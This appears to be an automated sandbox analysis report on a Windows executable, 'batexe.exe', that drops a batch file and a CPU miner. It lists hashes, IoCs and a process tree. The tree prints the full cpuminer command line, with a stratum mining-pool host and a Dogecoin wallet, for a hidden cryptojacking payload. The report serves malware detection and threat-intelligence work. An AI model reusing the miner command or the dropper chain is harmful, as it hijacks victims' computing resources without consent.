73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22-02-2024 12:52

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2344	b2e.exe
4344	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1308-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1308 wrote to memory of 2344	1308	batexe.exe	73
PID 1308 wrote to memory of 2344	1308	batexe.exe	73
PID 1308 wrote to memory of 2344	1308	batexe.exe	73
PID 2344 wrote to memory of 2056	2344	b2e.exe	74
PID 2344 wrote to memory of 2056	2344	b2e.exe	74
PID 2344 wrote to memory of 2056	2344	b2e.exe	74
PID 2056 wrote to memory of 4344	2056	cmd.exe	77
PID 2056 wrote to memory of 4344	2056	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1308
- C:\Users\Admin\AppData\Local\Temp\ADE3.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\ADE3.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\ADE3.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B1CB.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\ADE3.tmp\b2e.exe

Filesize
11.8MB

MD5
04ab4ea4977c3dea14415b48ef48c19b

SHA1
3e2aa2c94f4bcacf182910d29bf4e471bf08b964

SHA256
337f69e05520fdaef1a2554f571f77ff5e7447226863eff6df2f7a459af271b3

SHA512
adca404b7035e0ce43b59f877c753408679214d0c45cd2739ea1bc6efe9ad38255729ccf8c381ee2eaf2f31b250f04ace1f61fd6415e829bc3758d6d6af922a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\ADE3.tmp\b2e.exe

Filesize
8.4MB

MD5
ba4fbe613508bfe8ac6238466ba6b2c9

SHA1
877f1b18a118f5d5c6450c721e9843c4ae5fea31

SHA256
f6fdb67a67aafccbeeb8742f0c7e8cf003662871a07d7fd982bdf82a045eba03

SHA512
323bc06a632d2bd64214907360208c903760dd6924821ffc434385d667cd1618dd75343d44335d66cdf9ebd5f115c2350a0b2e01412d35ef5355a66b1b4ec37d

Download Submit
C:\Users\Admin\AppData\Local\Temp\B1CB.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
704KB

MD5
ce5f200d2d48a057722a957d5acc6426

SHA1
e7a8d4c0dc7b561dfa26e3fddaff015716187305

SHA256
cb450c8c0a952560f35f4b93f14357fc3856ee0b016eabf8bb4d20e9504d82df

SHA512
e7d3b203cc96d08b6d000f6845bbeb5777cd08babadbcb86266193ca68d8183973b3a92f5cf587df1f26bf04a182fa51001b7317c9a9e7ba868d1e26b897ee9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
64KB

MD5
7fcedb6e973c5df3b6652a2afafa6a13

SHA1
116728803559ab58a8127544df80b75a0dd1c6d2

SHA256
fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825

SHA512
05c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
64KB

MD5
e98583e2f3157ea2561f40a91a79b195

SHA1
770932f48dbea7a78a3b21e3df65e329a27313ff

SHA256
f6b3de2ac1e9c449daf82a3bd6fa52d2ed60e73e8cdd25d5d2194586a8d10de2

SHA512
cfa97067447a389dc5439dc42ca467f97947fa7010314cad0b99655688361721720bb33e34a1c7b22c93d807327b756109f63d15a40df5aaec620b0d0e1acc7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
42KB

MD5
5336e65b1909dcaf75b82677e9e17d68

SHA1
8f3c3b512ab1825626dd8695030855274d524717

SHA256
9913ae3652d6837ec4851a249858cd9fa472adcd773ca17e407b6813be6f11e2

SHA512
6905bb8d96402ef1c9ff383436e5c7c3e148919e55a50de01f7ae115990993b1e45ab9d5ff08f54484dcfd483c1c4bca6b50a89a5844e47afb803145fc93c05e

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.4MB

MD5
891b9957d34b889a0a828e832aead6fc

SHA1
c10a1875e245836602f8d9c9bd894c39e71e0aba

SHA256
d5400222d47bf6426daa2fdf66143125559b7925df62c843a94a42862173a402

SHA512
6f77e05169381eef5040f2055457a1e8ca1989f3228fe3c4dd31283290e9f311ffc2c1c1180def865fc59e76b4e21127e3ccaf39ecff62c75ac88a39bc398d50

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.7MB

MD5
0f700c2db2e8b18353f787ca0d59ceae

SHA1
41ef7891c104587b251c829c2a5912c316e9471e

SHA256
0ae98b31cf63088fe7fe5cd5f65eeadec3e40b45fbf1cb3efb8bde3382556050

SHA512
dece2c4cb95e9bb320da521666fa9f85d47b6adfae6a1fbed070951acbd0b99574d23088f1d6ab9fcb0bc7ab992d845ad258b853d1ed35074afff2fabe3867c9

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
64KB

MD5
6cccf65bd7d7ff5b53aeb882e15c462c

SHA1
a9822b63ad70c6085ed1deda0fbe4bc5fe555f3d

SHA256
1379cd6111c2c37cf16f2dd9b325118513e85c35543ba45e79deb504dd4c01d2

SHA512
c174b5f8615131c2b86c57aee166744ee1fe02ff7c916195f2fde06684f467545a3fa4f88083335e2045d12727d774279dc8672ec352de3095b729aa5d1dedcb

Download Submit
memory/1308-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2344-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2344-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4344-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4344-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4344-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4344-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-42-0x0000000050730000-0x00000000507C8000-memory.dmp

Filesize
608KB

Download
memory/4344-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download